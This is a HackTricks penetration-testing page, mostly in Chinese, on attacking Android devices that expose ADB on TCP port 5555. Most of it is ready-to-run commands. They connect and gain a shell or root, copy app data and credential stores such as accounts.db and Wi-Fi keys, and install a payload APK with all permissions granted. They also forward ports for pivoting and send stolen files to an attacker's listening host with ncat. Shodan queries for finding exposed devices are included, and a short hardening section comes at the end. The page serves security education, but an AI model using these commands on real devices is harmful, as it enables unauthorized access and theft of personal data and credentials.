5555 - Android Debug Bridge

Reading time: 9 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

来自 the docs:

Android Debug Bridge (adb) 是一个命令行工具,用于与基于 Android 的设备和模拟器进行通信。典型操作包括安装软件包、调试和获取设备上的交互式 Unix shell。

  • 历史默认 TCP 端口:5555(经典的 "adb tcpip" 模式)。
  • 现代无线调试(Android 11+)使用 TLS 配对和 mDNS 服务发现。连接端口是动态的,通过 mDNS 发现;它可能不是 5555。配对通过 adb pair host:port 然后 adb connect 完成。有关攻击性影响的说明,请参见下面的注释。

示例 nmap 指纹:

PORT     STATE SERVICE VERSION
5555/tcp open  adb     Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)

连接

如果您发现 ADB 被暴露并且可以访问,请尝试快速连接和枚举:

bash
adb connect <ip>[:<port>]      # Default is 5555 for classic mode
adb devices -l                 # Confirm it shows as "device" (not unauthorized/offline)
adb shell                      # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true               # Works on eng/userdebug/insecure builds, many emulators/IoT
  • 如果设备强制执行 ADB 认证 (ro.adb.secure=1),您需要预先授权 (USB RSA 认证) 或使用 Android 11+ 无线调试配对 (这需要在设备上显示的一次性代码)。
  • 一些厂商镜像、工程/用户调试版本、模拟器、电视、机顶盒和开发工具包在没有认证或以 root 身份运行 adbd 的情况下暴露 adbd。在这些情况下,您通常会直接进入 shell 或 root shell。

有关一般 ADB 命令的参考,请参见:

ADB Commands

快速后渗透

一旦您获得 shell,验证权限和 SELinux 上下文:

bash
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint

枚举和捕获数据

  • 列出第三方应用和路径:
bash
pm list packages -3
pm path <pkg>
  • 如果你有 root 权限(adb root 或 su 有效),你可以直接访问 /data。如果没有,建议对可调试的应用使用 run-as:
bash
# 无需 root,针对可调试应用
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>

# 有 root 权限
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
  • 有用的系统文档(需要 root):
  • /data/system/users/0/accounts.db 和相关的 AccountManager 数据
  • /data/misc/wifi/(旧版本上的网络配置/密钥)
  • /data/data/ 下的应用特定 SQLite 数据库和 shared_prefs

你可以用这个来检索敏感信息(例如,应用秘密)。关于 Chrome 数据考虑的说明,请参见 这里 提到的问题。

代码执行和有效载荷传递

  • 安装并自动授予运行时权限:
bash
adb install -r -g payload.apk         # -g 授予清单中声明的所有运行时权限
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
  • 直接启动活动/服务/广播:
bash
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>

端口转发和跳板

即使没有 root,adb 也可以将本地端口转发到设备端口,反之亦然。这对于访问绑定在设备上的本地服务或将攻击者服务暴露给设备非常有用。

  • 转发主机->设备(从主机访问设备本地服务):
bash
adb forward tcp:2222 tcp:22       # 如果设备运行 SSH(例如,Termux/Dropbear)
adb forward tcp:8081 tcp:8080     # 暴露应用的本地调试服务器
  • 反向设备->主机(让设备访问主机上的服务):
bash
adb reverse tcp:1080 tcp:1080     # 设备应用现在可以将主机:1080 视为 127.0.0.1:1080
  • 通过套接字进行文件外泄(不写入 sdcard):
bash
# 在主机上:监听
ncat -lvp 9000 > dump.tar
# 在设备上:将目录作为 tar 发送(根据需要使用 root 或 run-as)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000

无线调试(Android 11+)

现代 Android 实现了带有设备端配对和 mDNS 发现的 TLS 保护无线调试:

bash
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port>   # Enter the 6-digit code shown on device
adb mdns services                  # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>

笔记

  • 端口是动态的;不要假设为 5555。mDNS 服务名称如下:
  • _adb-tls-pairing._tcp (配对)
  • _adb-tls-connect._tcp (已配对连接)
  • _adb._tcp (传统/明文)
  • 如果 mDNS 被过滤,经典的 USB 辅助启用在某些版本上仍然有效:adb tcpip 5555 然后 adb connect <ip>:5555(直到重启)。

攻击性影响:如果您可以与设备 UI 交互(例如,物理访问或移动 MDM 配置错误)以启用无线调试并查看配对代码,则可以在没有电缆的情况下建立一个长期配对的 ADB 通道。一些 OEM 在工程/开发镜像中暴露 ADB 通过 TCP 而无需配对——始终检查。

加固 / 检测

防御者应假设任何可达的 adbd (TCP) 都是关键风险。

  • 在不需要时禁用 ADB 和无线调试。在开发者选项中撤销 USB 调试授权。
  • 确保网络策略阻止不受信任段的入站 TCP/5555 和基于 mDNS 的 ADB 发现。
  • 在您控制的设备上:
bash
settings put global adb_enabled 0
setprop service.adb.tcp.port -1   # 禁用 TCP 监听(或使用:adb usb)
stop adbd; start adbd             # 重启守护进程
  • 监控公司网络上的 mDNS 记录 _adb._tcp_adb-tls-connect._tcp_adb-tls-pairing._tcp,并对意外的 5555 监听器发出警报。
  • 清点不安全的构建:getprop ro.debuggablero.build.typero.adb.secure

Shodan

  • android debug bridge
  • port:5555 product:"Android Debug Bridge"

参考

  • Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
  • AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks